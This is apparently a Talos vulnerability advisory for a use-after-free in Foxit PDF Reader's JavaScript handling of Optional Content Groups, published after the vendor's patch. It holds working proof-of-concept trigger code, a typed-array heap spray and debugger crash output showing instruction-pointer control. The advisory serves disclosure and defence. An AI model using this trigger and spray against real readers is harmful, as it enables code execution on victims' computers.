Talos Vulnerability Report

TALOS-2018-0661

Foxit PDF Reader Javascript Optional Content Group Remote Code Execution Vulnerability

October 1, 2018
CVE Number

CVE-2018-3993

Summary

An exploitable use-after-free vulnerability exists in the JavaScript engine of Foxit Software's Foxit PDF Reader version 9.2.0.9297. A specially crafted PDF document can trigger a previously freed object in memory to be reused, resulting in arbitrary code execution. An attacker needs to trick the user to open the malicious file to trigger this vulnerability. If the browser plugin extension is enabled, visiting a malicious site can also trigger the vulnerability.

Tested Versions

Foxit Software Foxit PDF Reader 9.2.0.9297.

Product URLs

https://www.foxitsoftware.com/products/pdf-reader/

CVSSv3 Score

8.0 - CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-416: Use After Free

Details

Foxit PDF Reader is one of the most popular PDF document readers, and has a widespread user base. It aims to have feature parity with Adobe’s Acrobat Reader. As a complete and feature-rich PDF reader, it supports JavaScript for interactive documents and dynamic forms. JavaScript support poses an additional attack surface.

When executing embedded JavaScript code, a document can be closed, which essentially frees a lot of used objects, but the JavaScript can continue to execute. Accessing a variable which keeps a reference to a stale object can lead to use-after-free condition.

This particular vulnerability lies in invoking the way "Optional Content Groups" are manipulated. Saving an OCG and then accessing its properties after the document is closed can trigger a use-after-free condition like in the following code:

var tmp = this.getOCGs()[0];  // save reference to first OCG  
app.activeDocs[0].closeDoc(); // close and free objects
tmp["state"] = 0; // access stale reference causes use-after-free

Opening this proof-of-concept PDF document in Foxit Reader with PageHeap enabled results in the following crash:

(10d0.d68): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=002be360 ebx=115e8fc8 ecx=12a62fb8 edx=00000000 esi=002be700 edi=12bbbff8
eip=0188ea0d esp=002be31c ebp=002be36c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210202
FoxitReader!CryptUIWizExport+0x13168d:
0188ea0d 8b01            mov     eax,dword ptr [ecx]  ds:0023:12a62fb8=????????
0:000> dd ecx
12a62fb8  ???????? ???????? ???????? ????????
12a62fc8  ???????? ???????? ???????? ????????
12a62fd8  ???????? ???????? ???????? ????????
12a62fe8  ???????? ???????? ???????? ????????
12a62ff8  ???????? ???????? ???????? ????????
12a63008  ???????? ???????? ???????? ????????
12a63018  ???????? ???????? ???????? ????????
12a63028  ???????? ???????? ???????? ????????
0:000> k 4
 # ChildEBP RetAddr  
WARNING: Stack unwind information not available. Following frames may be wrong.
00 002be36c 0188dcef FoxitReader!CryptUIWizExport+0x13168d
01 002be3c4 0281f412 FoxitReader!CryptUIWizExport+0x13096f
02 002be400 0289a61d FoxitReader!FXJSE_GetClass+0x432
03 002be4bc 0289a379 FoxitReader!CFXJSE_Arguments::GetValue+0x7aeed
0:000> u
FoxitReader!CryptUIWizExport+0x13168d:
0188ea0d 8b01            mov     eax,dword ptr [ecx]
0188ea0f ff5004          call    dword ptr [eax+4]

Analyzing the heap state clearly shows that ecx points into a freed memory region. Also, we can see that the instruction immediately following the point of the crash makes an indirect call to a controlled address. We can abuse typed arrays to try and fill the memory of the freed object. A simple spray of Int32Array typed array of size 0x48 sufices in this case:

global.arr = new Array(0x100);
for (var i = 0; i < global.arr.length; i++){
global.arr[i] = new ArrayBuffer(0x48 );
var int32View = new Int32Array(global.arr[i]);


for(var j = 0; j <int32View.length ; j++){
  int32View[j] = 0xeaeaeaea;
  }

}

Loading the PoC in the Foxit Reader with PageHeap disabled this time results in the following crash:

(17fc.1770): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for FoxitReader.exe - 
eax=eaeaeaea ebx=08923920 ecx=06952110 edx=00000000 esi=0018eb70 edi=08920db0
eip=0188ea0f esp=0018e78c ebp=0018e7dc iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210202
FoxitReader!CryptUIWizExport+0x13168f:
0188ea0f ff5004          call    dword ptr [eax+4]    ds:0023:eaeaeaee=????????
0:000> k 4
 # ChildEBP RetAddr  
WARNING: Stack unwind information not available. Following frames may be wrong.
00 0018e7dc 0188dcef FoxitReader!CryptUIWizExport+0x13168f
01 0018e834 0281f412 FoxitReader!CryptUIWizExport+0x13096f
02 0018e870 0289a61d FoxitReader!FXJSE_GetClass+0x432
03 0018e92c 0289a379 FoxitReader!CFXJSE_Arguments::GetValue+0x7aeed

As we have direct control over the instruction pointer this can easily lead to arbitrary code execution.

Timeline

2018-09-10 - Vendor Disclosure
2018-09-28 - Vendor patched
2018-10-01 - Public Release

Credit

Discovered by Aleksandar Nikolic of Cisco Talos.